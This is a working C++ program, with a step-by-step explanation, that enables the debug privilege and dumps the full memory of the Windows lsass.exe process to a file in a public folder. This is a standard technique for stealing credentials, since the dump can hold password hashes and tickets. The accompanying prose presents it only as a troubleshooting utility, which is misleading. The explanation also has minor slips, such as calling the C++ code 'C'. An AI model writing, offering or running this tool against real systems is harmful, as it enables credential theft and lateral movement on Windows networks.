Dump lsass.exe

C++ Code

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

// Function to get the Process ID (PID) by its name
int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process entry in the snapshot
    if (Process32First(hSnap, &pe32) != FALSE) {
        // Iterate through the running processes to find the process with the specified name
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                // Found the process with the matching name, store its PID
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

// Function to set a privilege for the current process
BOOL setPrivilege(LPCTSTR priv) {
  HANDLE token;
  TOKEN_PRIVILEGES tp;
  LUID luid;
  BOOL res = TRUE;

  // Lookup the LUID (Locally Unique Identifier) for the specified privilege name
  if (!LookupPrivilegeValue(NULL, priv, &luid))
      res = FALSE;

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  // Open the access token for the current process
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
      res = FALSE;

  // Enable the specified privilege in the access token
  if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
      res = FALSE;

  // Print status of the privilege enabling attempt
  printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
  return res;
}

// Function to create a memory dump of the lsass.exe process
BOOL createMiniDump() {
  bool dumped = false;
  int pid = getPIDbyProcName("lsass.exe");

  // Open a handle to the lsass.exe process with read and query information access rights
  HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid);

  // Create a file handle to the output file for the memory dump
  HANDLE out = CreateFile((LPCTSTR)"C:\\Users\\Public\\Music\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  // Check if both process and file handles are valid
  if (ph && out != INVALID_HANDLE_VALUE) {
    // Generate the memory dump of the lsass.exe process and write it to the output file
    dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);

    // Print status of the memory dump operation
    printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");

    // Close the file and process handles
    CloseHandle(out);
    CloseHandle(ph);

    // Print the PID of the dumped lsass.exe process
    printf("dumped lsass.exe with PID %d\n", pid);

    // If the memory dump was successful, print the dump file location
    if (dumped) {
      printf("dumping lsass.exe to C:\\Users\\Public\\Music\\lsass.dmp\n");
    }
  }

  // Return whether the memory dump was successful
  return dumped;
}

int main(int argc, char* argv[]) {
  // Enable the SE_DEBUG_NAME privilege for the current process to allow debugging other processes
  if (!setPrivilege(SE_DEBUG_NAME))
      return -1;

  // Create a memory dump of the lsass.exe process
  if (!createMiniDump())
      return -1;

  // Exit the program with a success status
  return 0;
}
```

This C code defines a program that creates a memory dump of the "lsass.exe" process on a Windows system. The lsass.exe process is a critical system process responsible for managing security-related operations in Windows. The code uses various Windows API functions to accomplish this task. Here's a step-by-step explanation of how the code works:

1. **Header Includes**: The code includes several header files:
   - `<windows.h>`: Provides access to Windows API functions and data types.
   - `<stdio.h>` and `<stdlib.h>`: Standard C library headers for input and output operations and memory management.
   - `<string.h>`: Allows manipulation of C-style strings (char arrays).
   - `<tlhelp32.h>`: Contains declarations for Windows ToolHelp Functions, used for working with processes and snapshots.
   - `<dbghelp.h>`: Contains declarations for debugging and memory dump-related functions.
   - `#pragma comment (lib, "dbghelp.lib")`: Instructs the linker to include the "dbghelp.lib" library, which is necessary for using debugging functions.
2. **`getPIDbyProcName` Function**: This function takes a process name as input and returns the Process ID (PID) of the first process with that name. It uses the ToolHelp functions to iterate through running processes and find the PID.
3. **`setPrivilege` Function**: This function enables a specified privilege for the current process. It does the following:
   - Looks up the Locally Unique Identifier (LUID) for the specified privilege name using `LookupPrivilegeValue`.
   - Prepares a `TOKEN_PRIVILEGES` structure to enable the privilege.
   - Opens the access token for the current process using `OpenProcessToken`.
   - Enables the specified privilege in the access token using `AdjustTokenPrivileges`.
   - Prints the status of the privilege enabling attempt.
4. **`createMiniDump` Function**: This function is the core of the program. It does the following:
   - Calls `getPIDbyProcName` to get the PID of the "lsass.exe" process.
   - Opens a handle to the lsass.exe process with read and query information access rights using `OpenProcess`.
   - Creates a file handle for the output memory dump file at "C:\Users\Public\Music\lsass.dmp" using `CreateFile`.
   - Checks if both process and file handles are valid.
   - Uses the `MiniDumpWriteDump` function to generate a memory dump of the lsass.exe process and write it to the output file. It specifies the `MINIDUMP_TYPE` as `0x00000002`, which corresponds to `MiniDumpWithFullMemory`.
   - Prints the status of the memory dump operation.
   - Closes the file and process handles.
   - Prints the PID of the dumped lsass.exe process.
   - If the memory dump was successful, it prints the dump file location.
5. **`main` Function**: This is the entry point of the program. It does the following:
   - Calls `setPrivilege` to enable the "SE_DEBUG_NAME" privilege, which is required for debugging other processes.
   - Calls `createMiniDump` to create a memory dump of the lsass.exe process.
   - Exits the program with a success status (0) if the memory dump was successful.

Overall, this code is a utility for creating a memory dump of a specific Windows process, in this case, "lsass.exe," which can be useful for troubleshooting and debugging purposes. Note that debugging privileges are required to perform such operations.